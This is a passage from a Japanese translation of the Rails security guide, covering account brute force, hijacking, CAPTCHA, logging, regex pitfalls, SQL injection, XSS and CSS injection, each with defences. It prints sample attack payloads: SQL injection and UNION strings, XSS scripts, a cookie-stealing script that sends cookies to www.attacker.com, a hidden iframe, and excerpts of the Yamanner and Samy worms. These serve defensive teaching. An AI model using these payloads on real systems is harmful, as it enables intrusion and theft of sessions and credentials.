これはパラメーターのIDをparams[:id]とし、それがnilであると、どのサーバでも発生する可能性があります。 たとえ、下記のようにfind_by_xxxタイプのメソッドを使用していても、

User.find_by_activation_code(params[:id])

パラメーターがnilであれば、SQLは次のような結果になります。

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

このため、データベース内で最初に見つかったユーザーが、ログインアカウントとして返されてしまいます。 この詳細については、このブログ記事(英文)で参照することが出来ます。 プラグインの更新はこまめに行うことをお勧めします。 また、このような欠点が無いか、アプリケーションのレビューを行うようにしてください。

6.1 アカウントに対するブルートフォース攻撃について

アカウントに対するブルートフォース攻撃は、何度もログインを試みる攻撃です。 この攻撃用の対策とそのためのエラーメッセージを表示するようにするか、 可能であればCAPTCHAの入力を必要とすることで、これを避けるようにします。

多くのユーザーが強固なパスワードを使用しないため、アプリケーションのユーザー名のリストは、 パスワードを一致させるためのブルートフォース攻撃に悪用されるかもしれません。 おそらくパスワードの多くは、辞書の単語と数字の組み合わせです。 そのため、ユーザーリストと辞書を考慮した自動プラグラムによって、ほんの数分で正しいパスワードが見つけられてしまいます。

こういった事を考慮して、多くのWebアプリケーションでは一般的なエラーメッセージとして、 「ユーザー名、またはパスワードが正しくありません」といった内容をどちらかが正しくない場合に表示します。 もし、「入力したユーザー名は見つかりませんでした」といった内容にしてしまうと、ユーザー名がデータベースに存在するのかしないかが判明するため、 攻撃者はこれを利用して自動的にユーザー名のリストを作成することが可能になってしまいます。

しかし、多くのWebアプリケーション設計者が、パスワードを忘れた際のページで怠ってしまう事があります。 それは、こういったページでユーザー名またはメールアドレスが見つかったこと(または、見つからないこと)を知らせてしまう事です。 こうして攻撃者は、アカウントに対するブルートフォース攻撃のためのユーザー名リストを手に入れてしまいます。

このような攻撃を避けるためにも、前述な一般的なエラーメッセージをパスワードを忘れた際のページでも表示すべきです。 更に、特定のIPアドレスからのログインが数会失敗した後に、CAPTCHAの入力を求めるといった対策も効果的です。 ただし、IPアドレスを度々自動変更して総当りで攻撃をしてくるようなプログラムに対しては効果が無いことに注意してください。 それでも、攻撃に対する防御を向上させることには変わりありません。

6.2 アカウントハイジャック

多くのWebアプリケーションで、ユーザーアカウントのハイジャックが簡単に出来るようになっています。 なぜ、

6.2.1 Passwords

攻撃者がユーザのセッションのCookieを盗み、アプリケーションを共同で使用できてしまう状況を考えてみます。 パスワードを変更することは容易なので、攻撃者はほんの数クリックでアカウントをハッキングしてしまいます。 また、パスワード変更のフォームにCSRFの脆弱性が存在すると、攻撃者はユーザーをCSRFの脆弱性を突くIMGタグのあるWebサイトに誘導することによって、 ユーザーのパスワードを変更することが出来てしまいます。 パスワード変更フォームがCSRFに対して対策されていることはもちろんのこと、 変更する際には古いパスワードの入力を求めることも効果的です。

6.2.2 メール

攻撃者はメールアドレスの変更によってアカウントを奪うこともあります。 ユーザーのメールアドレスを攻撃者のメールアドレスに変更することが出来れば、 パスワードを忘れた際のページを使用すれば、(もしかしたら新しい)パスワードが攻撃者のメールアドレスに送信されてしまいます。 対策として、メールアドレスの変更には、パスワードの入力も必要とすることです。

6.2.3 その他

あなたのWebアプリケーションの特性に依存した、ユーザーアカウントのハッキング手段が他にあるかもしれません。 多くの場合CSRFとXSSによる脆弱性は、ハッキングの手助けをしてしまいます。 例えば、GoogleメールのCSRF脆弱性のケースでは、これを実証するために被害者が攻撃者の制御下にあるWebサイトに誘導されました。 このサイトには、HTTPのGETリクエストを行ってGoogle Mailのフィルター設定を変更する細工されたIMGタグが配置されていました。 もし、被害者がGoogle Mailにログインしていたら、被害者の全てのメールが攻撃者に転送する設定に変更されることになります。 アカウントをそっくりハッキングされるのと同じぐらい被害が大きいものです。 Webアプリケーションをレビューし、XSSとCSRF脆弱性を全て取り除く事が如何に重要なのか、お分かりいただけたと思います。

6.3 CAPTCHAによる対策

CAPTCHAは、コンピューターによって生成されたレスポンスでは無いかを検証するものです。 歪めたイメージの文字列をユーザーに入力させることを求めることで、コメント入力をスパムのボットから守る用途でよく使用されます。 CAPTCHAの良くない点を挙げるとすると、ユーザーが人間であることを証明するものではなく、ロボットがロボットであることを明らかにするものだということです。

スパムボットだけでは無く、自動ログインボットも問題です。 人気のあるCAPTCHAのAPIに、古い書籍から2つの歪めた言葉の画像を表示する reCAPTCHAがあります。 また、文字がもともと壊れているため、背景を歪めるのでは無く斜線を加えて、 これまでの他のCAPTCHAがしてきた高水準のテキストひずみと同じ効果を得ることが出来ています。 ここで使われる文字はOCRで読み込めなかったものが使用されているため、reCAPTCHAは古い書籍のデジタル化にも貢献しています。 ReCAPTCHAは、 reCAPTCHAのAPIを使用したRailsのプラグインです。

APIから、Rails環境に配置するための公開鍵と秘密鍵を取得します。 ビュー内でrecaptcha_tagsメソッドが、コントローラー内でverify_recaptchaメソッドが、 使用できるようになります。 verify_recaptchaは、検証に失敗するとfalseを返します。 CAPTCHAの問題は、入力者にとって面倒くさいということが挙げられます。 更に視覚障害者によっては、読むのが困難な種類のCAPTCHAがあるという報告もあります。 CAPTCHAはユーザーが人間であることを証明するのではなく、ボットがボットであるということを証明するに過ぎないのです。

ほとんどのボットは賢いものでは無く、Webをクロールし、見つけることが出来たフォーム毎にスパムを仕掛けるだけです。 CAPTCHAの逆活用(以降、ネガティブCAPTCHAと呼ぶことにします)として、フォームにCSSやjavaScriptによって人間のユーザーからは見ることが出来ない、 非表示の「ハニーポット」フィールドを含める、といった方法があります。

ここでハニーポットフィールドをjavaScriptやCSSを使って、どのようにして隠せばよいか考えてみましょう。

  • ページの可視領域外に配置
  • 要素をとても小さくするか、ページ背景色と同じ色にする
  • 入力欄は表示されているが、人に対し何も入力しないで欲しいという内容を伝える

ほとんどの単純なネガティブCAPTCHAは、1つの非表示ハニーポットフィールドを用意するだけです。 サーバーサイドで、その入力欄の値を調べ、何かテキストが含まれていればボットであるとみなします。 次にその投稿を無視するか、データベースに保存はしないものの投稿が成功したという偽の結果を返す、といった処理を行います。 こうしておけば、ボットは上手くいったと勘違いして去っていくでしょう。 これは迷惑なユーザーに対しても有効です。

高度なネガティブCAPTCHAについて詳しく知りたければ、 Ned Batchelder氏のブログ記事を参照してください。

  • 入力欄の1つに現在のUTCタイムスタンプを含め、サーバーでチェックします。 もし、その時間が経過しすぎていたり、未来の時間だった場合、その投稿は不正であるとみなします。
  • ランダムなフィールド名を付ける
  • 1つではなく、送信ボタンを含む全てのタイプのフィールドのハニーポットを含めます。

こういった防御は自動ボットにのみ有効で、対象に特化したオーダーメイドのボットに対しては効果がないことに注意してくだしあ。 そのため、ネガティブCAPTCHAはログインフォームを防御するのには向いてないのかもしれません。

6.4 Logging

Railsのログファイルに、パスワードが含まれることが無いようにしてください。

デフォルトでは、RailsはWebアプリケーションに対しての全てのリクエストをログに残します。 ただし、ログイファイルにはログイン情報、クレジットカード番号などが含まれているかもしれないため、 セキュリティ上の重大な問題となる可能性があります。 Webアプリケーションのセキュリティ概要を設計するにあたり、 攻撃者がWebサーバーにアクセスした際に、どんな事が起こりえるかも考慮すべきです。 データベース内の暗号化された機密情報とパスワードを、ログファイルに列挙しても全く役に立たないでしょう。 アプリケーション構成内で、config.filter_parametersに設定を追加することにより、 ログファイルから特定のリクエストパラメータをフィルタリングすることができます。 フィルタリングされたパラメータには、ログに[FILTERED]がマークされます。

config.filter_parameters << :password

6.5 好ましいパスワードについて

全てのパスワードを覚えておくのは難しいでしょうか? 覚えやすい文章の各単語の先頭1文字をパスワードに使用するなどして、パスワードをどこかに書き留めないようにします。

セキュリティ技術者であるBruce Schneierは、MySpaceのフィッシング攻撃から実際に使用された34,000ものユーザー名とパスワードを分析し、 ほとんどのパスワードは、クラックする事が容易なものばかりでした。 よく使用されていたトップ20のパスワードは下記の通りです。

password1 abc123 myspace1 password blink182
qwerty1 ****you 123abc baseball1 football1
123456 soccer monkey1 liverpool1 princess1
jordan23 slipknot1 superman1 iloveyou1 monkey

これらのパスワードのうち4%だけが辞書の単語で、大多数に英数字が使われていることは大変興味深いことです。 しかし、パスワードをクラックするための辞書には、最近のパスワードの傾向が多く含まれており、 あらゆる種類の英数字の組み合わせを試そうとします。 もし、攻撃者にユーザー名を知られてしまい、簡単なパスワードを使用していた場合、アカウントは簡単にハッキングされてしまうでしょう。

パスワードは、大文字小文字が混在した長い英数字が理想です。 記憶しておくのが困難であるといった場合は、自分が覚えやすい文章の各単語の1文字目を繋げたものを使用することをお勧めします。 例えば、"The quick brown fox jumps over the lazy dog"という文章であれば、"Tqbfjotld"というパスワードが作れます。 これはあくまで一例ですので、使用しないでください。 上記のような諺や有名なフレーズは、クラッカーの辞書にも含まれているかもしれないので、使用すべきではありません。

6.6 正規表現

Rubyの正規表現の落とし穴に、文字列の最初と最後の指定に\Aと\zを使うべきところを、 ^$(文字列ではなく、その"行"の先頭と末尾を表す)を使用してしまうことです。(詳細は後述)

Rubyは他の言語の文字列の始まりと終わりのマッチについて、若干異なるアプローチを取っています。 そのため、RubyとRailsの書籍の多くがこの間違いを犯しています。 どのようなセキュリティリスクになるのでしょうか? あなたはURLのフィールド検証は緩くしたいと言って、下記のようなシンプルな正規表現にしているかもしれません。

/^https?:\/\/[^\n]+$/i

ある言語では、これは正しく動作するかもしれません。 ただし、Rubyの^$は、その行の始まりと末尾にマッチします。 そのため、次のようなURLもフィルターは問題無しと判定してしまいます。

javascript:exploit_code();/*
http://hi.com
*/

このURLはフィルターで問題無しと判定される理由は、正規表現が2行目でマッチし、残りの行は問題なしと判定されるためです。 例えば、下記のようにURLを表示するビューがあるとします。

link_to "Homepage", @user.homepage

訪問者には、このリンクは無害に見えますが、クリックするとjavaScriptの"exploit_code"関数、 または攻撃者による別のjavaScriptが実行されてしまいます。

この正規表現を修正するには、\A\zを、^$の代わりに使用して下記のようにすべきです。

/\Ahttps?:\/\/[^\n]+\z/i

こういったミスが頻繁に起こることから、format検証(validates_format_of)は現在、 先頭に^または、末尾に$が使用された場合、例外を発生させます。 もし、^$\A\zの代わりに必要な場合(こういったケースは稀ですが)は、 下記のように:multilineオプションをtrueに設定してください。

# 文章中のどこかに、"Meanwhile"の文字列の行が必要
validates :content, format: { with: /^Meanwhile$/, multiline: true }

これは、頻繁にミスが発生するformat検証のみの対策でしかない事に注意してください。 Rubyでは、^$は、行頭と行末にマッチするものであり、 文字列の先頭と最後ではないということを常に意識することを忘れないようにしてください。

6.7 権限のエスカレーション

単一のパラメータ変更によって、認証していないユーザーに対して不正なアクセスを可能にしてしまうかもしれません。 例え隠していたり難読化していも、パラメータは変更されるかもしれないという事を覚えておいてください。

ユーザーに改竄されるかもしれない最も一般的なパラメータは、http://www.domain.com/project/1 の1に該当するような、idパラメーターでしょう。 このパラメータは、コントローラー内で下記のように、params内で利用されることが多いはずです。

@project = Project.find(params[:id])

これは、Webアプリケーションによっては問題ないのですが、 もし、ユーザーが全てのプロジェクトのビューに対して、認証が必要とされる場合には、 その限りではありません。 もしユーザーがidを42に変更し、その42の情報がそのユーザーへの閲覧を許可していなくても、 アクセスすることが出来てしまうでしょう。 正しく処理するには、ユーザーのアクセス権も要求するようにします。

@project = @current_user.projects.find(params[:id])

Webアプリケーションによっては、このようなユーザーによって改竄されるかもしれないパラメーターが数多く存在するかもしれません。 経験則から、ユーザーから入力値は信用できないという疑いを常に持ち、 安全が保証されないままパラメータを利用するとWebアプリケーションを不正に操作されてしまうかもしれないという事を覚えておきましょう。

難読化やjavaScriptの検証があるからといって、怠ってはいけません。 FirefoxのWebデベロッパーツールでは、フォームの各hiddenフィールドのレビューと変更を可能にしてくれます。 javaScriptはユーザーの入力値の検証に利用できますが、攻撃者からの悪意のある不正な値を確実に防ぐことは出来ません。 FirefoxのLive Http Headersプラグインは、各リクエストをログに取り、そのリクエスト繰り返したり変更したりするかもしれません。 これを使えば、javaScriptの検証を容易にすり抜けることが出来ます。 更に、インターネットへのリクエスト、インターネットからのレスポンスを途中で奪って変更できる、クライアント側プロキシといったものも存在します。

7. インジェクション

インジェクション(注入)とは、悪意のあるコードまたはパラメーターをWebアプリケーションに紛れ込ませて、 それを実行させるタイプの攻撃です。 著名なインジェクションに、クロスサイトスクリプティング(XSS)とSQLインジェクションがあります。

インジェクションは、同じコードまたはパラメータが、ある状況下では悪意のあるコードになりえる一方で、 他の状況では全くの無害といった特徴があるため、非常にトリッキーです。 スクリプト、クエリー、プログラミング言語、シェル、またはRuby/Railsメソッドなど、様々なケースがあります。 以降、インジェクション攻撃で発生するであろう重要な項目を網羅して説明していきます。 まずは、インジェクションを考慮した設計について確認していきましょう。

7.1 ホワイトリスト vs ブラックリスト

サニタイジング、防護、何かの検証を行う際は、ブラックリストよりもホワイトリストを優先して使用すべきです。

ブラックリストには、不正なメールアドレス、公開されていないアクション、悪意のあるHTMLタグといったものが列挙されます。 それに対しホワイトリストには、正しいメールアドレス、公開されているアクション、正しいHTMLタグといったものが列挙されます。 ただし、場合によってはホワイトリスト形式では解決出来ないケースも存在します。(例えば、スパムフィルター)

  • before_action except: [...]の代わりに、before_action only: [...]を使用します。 この方法を使用すれば、新しいアクションが追加された際に、それを除外することを忘れることはありません。
  • クロスサイトスクリプティング(XSS)に対する<script>の削除の代わりに、<strong>を許可します。 詳細については後述します。
  • ユーザーからの入力をブラックリストで修正しようとしないでください。
    • 置換で修正を試みても、次のようにすれば攻撃が可能となります。"<sc<script>ript>".gsub("<script>", "")

ホワイトリストは、ブラックリストに何かを入れ忘れてしまう人間のミスへの対策としても、良いアプローチと言えます。

7.2 SQLインジェクション

賢いメソッドのおかげで、SQLインジェクションは多くのRailsアプリケーションで問題にならないでしょう。 ただし、この攻撃がWebアプリケーションにおいて非常に破壊的且つ一般的なものであるため、 その仕組を理解しておくことは非常に重要と言えます。

7.2.1 SQLインジェクションの概要

SQLインジェクションは、WEBアプリケーションのパラメータを操作することによって、 データベースへのクエリーに影響をあたえることを目的とした攻撃です。 SQLインジェクションでよく行われる攻撃は、認証の迂回です。 他に、自由にデータを操作したり閲覧したりといった目的でも、これが行われます。 ここで、ユーザーの入力データをクエリー内で使用すべきで無い事が分かる例について見てみましょう。

Project.where("name = ''")

これは検索アクションで、ユーザーは自分が探したいプロジェクトの名前を入力します。 もし、悪意のあるユーザーが' OR 1 --と入力したら、SQLクエリーは次のようになります。

SELECT * FROM projects WHERE name = '' OR 1 --'

--はコメントの開始を意味し、以降の全て文字列を無視します。 そのため、クエリーはユーザーに閲覧を許していないプロジェクトを含め、全てのテーブルのレコードを返してしまいます。 なぜなら、条件式は必ずtrueになるため、全てのレコードにマッチしてしまうからです。

7.2.2 認証の迂回

多くのWebアプリケーションは、アクセス制御の機能を含みます。 ユーザーがログイン情報を入力すると、Webアプリケーションはユーザーテーブルから、その情報にマッチするレコードを探します。 アプリケーションは、レコードが見つかると、そのユーザーへのアクセスに対し権限を設けます。 しかし、攻撃者はSQLインジェクションによって、このアクセス権限のチェックを迂回しようと試みます。 下記は、Railsでユーザーのテーブルから、ユーザーが入力したログイン情報とマッチした最初のレコードを見つけるための、 一般的なデータベースクエリーです。

User.first("login = '' AND password = ''")

もし、攻撃者がnameに' OR '1'='1と入力し、passwordに' OR '2'>'1と入力すると、 SQLクエリーは次のようになります。

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

これは、単純に全レコードの内の最初のレコードを検索し、そのユーザーのアクセス権限を与えてしまします。

7.2.3 権限のない閲覧

UNION文は2つのSQLクエリーを連結し、そのセットを1つのデータとして返します。 攻撃者はこれを利用して、任意のデータの閲覧を試みます。 下記の例を確認してみましょう。

Project.where("name = '#{params[:name]}'")

それでは、別のクエリーも実行することの出来る、UNION文を使用したインジェクションを行ってみましょう。

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

結果として、SQLクエリーは下記のようになります。

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

これはプロジェクトの一覧を取得せず(なぜなら、プロジェクトのnameに空文字列を指定しているから)、 ユーザー名とパスワードの一覧を取得します。 このような事態に備え、DBのパスワードはなるべく暗号化しておく事が望ましいとされています。 攻撃者にとっての唯一の問題は、列の数は両方のクエリで同じでなければならないことです。 そのため、2つ目のクエリーに常に値が1になる(1)の列を含め、 1つ目のクエリーとカラムの数が一致するようにしています。

また、2つ目のクエリーはAS文を使ってカラム名を変更することで、 Webアプリケーション上にユーザーテーブルの情報が表示するようにしています。 最低でも、Railsのバージョン2.1.1に更新するようにしてください。

7.2.4 対策

Railsには、特殊なSQL文字に対する組み込みフィルターが備わっています。 フィルターは、'、"、NULL文字列、改行をエスケープします。 Model.find(id)、またはModel.find_by_some thing(something)を使用すると、 自動的にこの対策を適用してくれます。 ただし、SQLを断片的に指定する場合、特に条件の(where("..."))connection.execute()、またはModel.find_by_sql()メソッドは、 手動で対応しなければいけません。

条件オプションに文字列を渡す代わりに、下記のような汚染された文字列をサニタイズするための配列を渡すことができます。

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

ご覧のとおり、配列(where内は配列の[]が省略されている)の1つ目は「?」マーク入りのSQL文の断片になっています。 配列の2つ目以降の変数は、疑問符をサニタイズさいた値で交換します。 また、下記のようにハッシュを使って同じことが出来ます。

Model.where(login: entered_user_name, password: entered_password).first

配列、またはハッシュを使った方式はモデルインスタンスのみで利用可能です。 それ以外では、sanitize_sql()を使用することが出来ます。 外部から入力されるSQLを使用する際は、常にセキュリティ対策について考える習慣を身につけてください。

7.3 クロス・サイト・スクリプティング(XSS)

最も影響範囲が広く、最も影響力が大きいWebアプリケーションのセキュリティ脆弱性の1つにXSSが挙げられます。 この悪意ある攻撃は、クライアントサイドで実行するコードを注入します。 Railsは、こういった攻撃を防ぐためのヘルパーメソッドを提供します。

7.3.1 エントリポイント

エントリポイントとは、攻撃者が攻撃を開始することができる脆弱なURLとそのパラメータのことです。

最も一般的なエントリポイントは、メッセージ投稿、ユーザーコメント、ゲストブックでしょうか? それとも、プロジェクトタイトル、ドキュメント名、検索結果のページでしょうか? ユーザーがデータを入力できるのであれば、何処であっても脆弱性になり得ます。 また、Webサイト上のフォーム入力欄だけが、データ入力するものとは限りません。 URLパラメーターも、それが明らかであれ、隠蔽されたものであれ、そういった入力に使用される可能性があります。 ユーザーによって、リクエストが書き換えられているかもしれないという事を忘れないでください。 FirefoxプラグインのLive HTTP Headersのようなアプリケーションやクライアントプロキシを使えば、 簡単にそれを行うことが出来ます。

XSS攻撃の概要を説明します。 まず、攻撃者が悪意のあるコードを何らかの方法で注入することによって、 Webアプリケーションに保存されます。 後ほど、その注入されたコードが被害者のページ上に表示されることになります。 ほとんどのXSSの例は、単に警告ボックスを表示するだけですが、実際には様々な恐ろしいことが行われます。 XSSは、Cookieを盗むことも、セッションを乗っ取ることも、偽のWebサイトへリダイレクトすることも、 攻撃者にとって都合の良い広告を表示することも、Webサイト上の要素を変更して機密情報を取得することも、 ブラウザのセキュリティホールを突いて悪意のあるソフトウェアをインストールすることも、 様々な事が出来てしまいます。

2007年下半期のブラウザ毎の脆弱性レポートでは、Mobillaブラウザは88件、Safariは22件、IEは18件、Operaは12件という結果が出ています。 2007年後半のSymantec Global Internet Securityの脅威に関するレポート(英文PDF)でも、 239のブラウザプラグインに脆弱性があったいう調査結果を発表しています。 Mpackは、これらの脆弱性を狙った非常に活発な最新の攻撃のためのフレームワークです。 犯罪を犯すハッカーにとって、WebアプリケーションフレームワークのSQLインジェクション脆弱性は非常に魅力的なもので、 各テーブルカラムに対して悪意のあるコードを挿入します。 2008年の4月、英国政府、国連、その他51万以上ものサイトがこのようにしてハッキングされました。

比較的新しく珍しいものでは、バナー広告がエントリポイントになったという事例があります。 トレンドマイクロによると、 2008年初期にMySpaceとExciteのような人気サイト上で、悪意のあるコードがバナー広告内で発見されたという報告がされました。

7.3.2 HTML/JavaScript インジェクション

頻繁にXSS攻撃に使用されるプログラミング言語は、もちろん、クライアント側で頻繁に使用されるjavaScriptで、 度々HTMLと組み合わせて使用されます。 ユーザー入力のデータを出力する際にエスケープする事が不可欠となります。

下記は、XSSを調べるテストに使用される最も基本的なスクリプトです。

<script>alert('Hello');</script>

このjavaScriptコードは、単に警告ボックスを表示するだけです。 下記の例は、奇妙な場所にスクリプトが配置されていますが、実際には同じ事が発生します。

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
7.3.2.1 Cookieの盗聴

これらの例では、害を及ぼすことはありませんので、 攻撃者がどのようにしてユーザーのCookieを盗み出すのか(その上で、ユーザーセッションを乗っ取るのか)を見て行きましょう。 javaScriptでは、document.cookieプロパティを使うことで、documentのCookie情報の読み取りと書き込みを行います。 javaScriptは、Same-Originポリシーに則り、他のドメインのCookieにはアクセスできないようになっています。 document.cookieプロパティは、オリジナルのWebサーバーのCookieを保持します。 このプロパティの読み込みと書き込みは、HTMLドキュメント内に直接コードが埋め込まれていれば(それが、XSSによるものであれ)可能になります。 下記のコードがWebアプリケーションのどこかに注入されれば、ページ上にあなた自身のクッキー情報が表示されることになります。

<script>document.write(document.cookie);</script>

もちろん、攻撃者はこのようにして、被害者が自身のCookieを見れるようにするといった事はしません。 次の例では、攻撃者のサイトであるhttp://www.attacker.com/から、クッキー情報を加えた画像を読み込もうとします。 と言っても、このURLは存在しないため、ブラウザには何も表示されません。 しかし、攻撃者は自分のサイトのアクセスログを確認することで、被害者のクッキー情報を知ることが出来てしまいます。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.comのログに、下記のような記述が残ります。

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

CookieにHttpOnlyフラグを追加することによって、javaScriptからdocument.cookieを読み込めないように出来れば、 これらの攻撃(方法が明確であれば)を軽減することが出来ます。 このHttpOnly機能は、(原文執筆時点で)IE6 SP1、Firefox2.0.0.5、Opera 9.5から使用可能で、 Safariは検討中のため、このオプションを無視します。 ただし、古いブラウザ(WebTV、MacのIE5.5のような)では、ページの読み込みに失敗してしまいます。 また、Ajaxを使用することでCookie情報を見ることが出来てしまうので注意が必要です。

7.3.2.2 改竄

攻撃者はWebページの改竄によって様々な事を行います。 例えば、偽の情報を公開したり、訪問者を自分のサイトに誘導させるような内容にして、 Cookie、ログイン情報、その他の重要な機密情報を盗んだりします。 iframeに外部ソースを参照させることで、コードを読みこませる方法が有名です。

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>

これにより、任意のHTML・javaScriptが外部ソースから読み込まれ、サイトの一部として埋め込まれます。 このiframeは、Mpackの攻撃用フレームワークを使用して、実際に攻撃を行うイタリアの合法サイトを読み込みます。 Mpackは、Webブラウザのセキュリティホールを通じてマルウェアをインストールしようとします。 攻撃が成功する可能性は50%と、非常に高い確率になっています。

更に、Webサイト全体やログインフォーム部分を覆ってしまうという特殊な攻撃があり、覆った部分は 元のサイトと同じように見せかけることで、ユーザー名とパスワードを攻撃者のサイトへ送信させるという手口があります。 もしくは、CSS・javaScriptを使用して本来のリンクを隠し、その代わりに偽のサイトへリダイレクトするリンクを表示させます。

Reflected(反射?)インジェクション攻撃は、被害者に後で閲覧させるためのデータを格納する事無く、 URLに含めることで即座に攻撃を行います。(翻訳に自信なし) 特に検索フォームで、検索文字列のエスケープに失敗しているという事はよくあります。 下記のリンクは、"George Bush appointed a 9 year old boy to be the chairperson..."という文言をページ上に表示していました。(翻訳に自信なし)

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--

7.3.2.3 対策

悪意のある入力をフィルタリングする事は非常に重要ですが、 Webアプリケーション上にそれをエスケープして出力することも同様に重要でうs.

特にXSSに対しては、ブラックリストの代わりにホワイトリストで入力値をフィルタリングすることが重要になります。 ホワイトリストによるフィルタリングは、許容しない値ではなく、許容する値を明言するものです。 ブラックリストが完全になる事はありません。

ブラックリストが"script"の文字列をユーザー入力から除外するという処理を想定してみてください。 攻撃者が“<scrscriptipt>”と入力してしまえば、フィルターを通した後に“<script>”が残る事になります。 Railsの初期のバージョンでは、strip_tags()strip_links()sanitize()メソッドで、 ブラックリストを使用したアプローチを取っていました。 そのため、下記のようなインジェクション攻撃が可能でした。

strip_tags("some<<b>script>alert('hello')<</b>/script>")

これは、"some<script>alert('hello')</script>"を返し、攻撃が有効になってしまいます。 これがホワイトリストを勧める理由で、Rails2でアップデートされたメソッドのsanitize()を使用します。

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

これは指定されたタグの使用のみを許可し、あらゆる種類のトリックや悪意のあるタグに対して正常に機能します。

2つ目のステップとして、アプリケーションの全ての出力、特にフィルターを通さずに、 ユーザーが入力した文字列を再表示したものをエスケープするのは良い訓練です。(例えば、前述の検索フォームのように) escapeHTML()(または、そのエイリアスであるh())をメソッドを使用して、 &"<>の特殊記号を、 HTMLの実態参照(&amp;&quot;&lt;&gt;)に置換します。 しかし、プログラマーがこれを使い忘れるといった事がよく起こるため、 SafeErbプラグインを使用することが推奨されています。 SafeErbは、外部ソースから文字列のエスケープを忘れないようにしてくれます。

7.3.2.4 文字列エンコーディングによる攻撃

ネットワークのトラフィックは、Unicodeのようなアルファベットとは異なる言語の新しい文字エンコーディングの伝送が大半が占めます。(翻訳に自信なし) また、文字エンコーディングはWebアプリケーションにとっても脅威であり、 悪意のあるコードが異なるエンコーディング内に隠されることで、もしかしたらWebブラウザがその処理を実行してしまうかもしれません。 下記はUTF-8エンコーディング内に攻撃が含まれたものです。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

上記の例は、メッセージボックスを表示します。 ただし、前述のsanitize()を使用すれば見分ける事が可能です。 文字列エンコードによる攻撃用に、それが悪意のあるものかを教えてくれるHackvertorというツールがあります。 Railsのsanitize()メソッドは、エンコーディング攻撃を回避するのに役立ちます。

7.3.3 Examples from the Underground

現在のWebアプリケーション上での攻撃を知るには、今現在発生している攻撃を調べてみるのが最良の方法です。

下記は、 JS.Yamanner@m Yahoo!メール ワームからの抜粋です。 これは、2006年6月11に発のWebメールインターフェースのワームとして発見されたものです。

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

そのワームは、YahooのHTML/javaScriptフィルターにセキュリティホールが存在することを明らかにしました。 そのフィルターは基本的に、タグから全てのtargetonload属性をフィルタリングするものでした。 (そこにjavaScriptが書けるため) このフィルターは1度適用されますが、onload属性のワームのコードはその場所に残り続けます。 これは、何故ブラックリストが完璧になる事が無いのか、また、 何故Webアプリケーション上でHTML/javaScriptの入力を許可することは難しいのかを知らしめるための、うってつけの事例となっています。

別のWebメールの事例に、4つのイタリアのWebメールサービスへのクロスドメインワームであるNdujaがあります。 どちらのWebメールワームも、メールアドレスを収集する事が目的であり、 そのメールアドレスを悪用して、ハッカーはお金稼ぎを行います。

2006年の12月、34,000人の実際のユーザー名とパスワードがMySapceのフィッシング攻撃によって盗まれました。 この攻撃方法は、“login_home_index_html”という名前のプロフィールのページを作成するもので、 URLとしては一見問題ないように見えるものでした。 特殊な細工をされたHTMLとCSSは、ページ内の本物のMySpaceのコンテンツを非表示にし、 代わりに独自のログインフォームを表示する仕組みになっていました。

このMySpace Samyワームについては、CSSインジェクションのセクションで説明します。

7.4 CSSインジェクション

CSSインジェクションは、実際にはjavaScriptインジェクションです。 というのも、ブラウザによって(IE、あるバージョンのSafari、その他)は、CSS内のjavaScriptを許可していたためです。 それでは、Webアプリケーション内のCSS編集を許可してしまう事について考えてみましょう。

CSSインジェクションを説明するにあたり、有名なワームである MySpace Samyワームを引き合いに出して説明するのが最良かもしれません。 このワームは、Samy(攻撃者)のプロフィールに訪れるだけで、自動的に彼にフレンド申請を送ってしまいます。 数時間以内に彼は100万ものフレンド申請を受け取りましたが、 MySpace上で膨大なトラフィックを引き起こし、サイトがダウンする事態になりました。 下記で、このワームの技術的な説明をします。

MySpaceは多くのタグをブロックしていましたが、CSSを許可していました。 そのため、ワームの作者は次のようにしてCSS内にjavaScriptを書いたのです。

<div style="background:url('javascript:alert(1)')">

ご覧のとおり、実行されるjavaScriptのコードはstyle属性内にあります。 既にシングルクォートもダブルクォートも使用されているため、この中でクォートを使うことは出来ませんが、 javaScriptは、eval()関数を使用することで、任意の文字列をコードとして実行することが出来てしまいます。

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval()関数は、ブラックリスト式の入力フィルターにとって悪夢以外の何者でもありません。 下記のようにして、style属性に"innerHTML"という単語を隠すことが出来てしまいます。

alert(eval('document.body.inne' + 'rHTML'));

ワーム作者にとって、次に問題になったのはMySpaceの"javaScript"の単語のフィルタリングですが、 "java<改行>script"とすることで、これを回避しました。

<div id="mycode" expr="alert('hah!')" style="background:url('java↵

script:eval(document.all.mycode.expr)')">

ワーム作者にとって別の問題に、CSRFセキュリティトークンがありました。 これを何とかしない限り、彼はフレンドリクエストをPOST送信することは出来ませんでした。 彼はユーザーを追加する前に、正しいページにGET送信を送り、その結果からCSRFトークンを解析することで これを回避しました。

最終的に彼は4KBのワームで、自分のプロフィールページをインジェクションする事に成功しました。

Geckoベースのブラウザ(Firefox等)では、 moz-bindingCSSプロパティに、 別の方法でCSSにjavaScriptを取り込んでしまう問題が発見されました。

7.4.1 対策

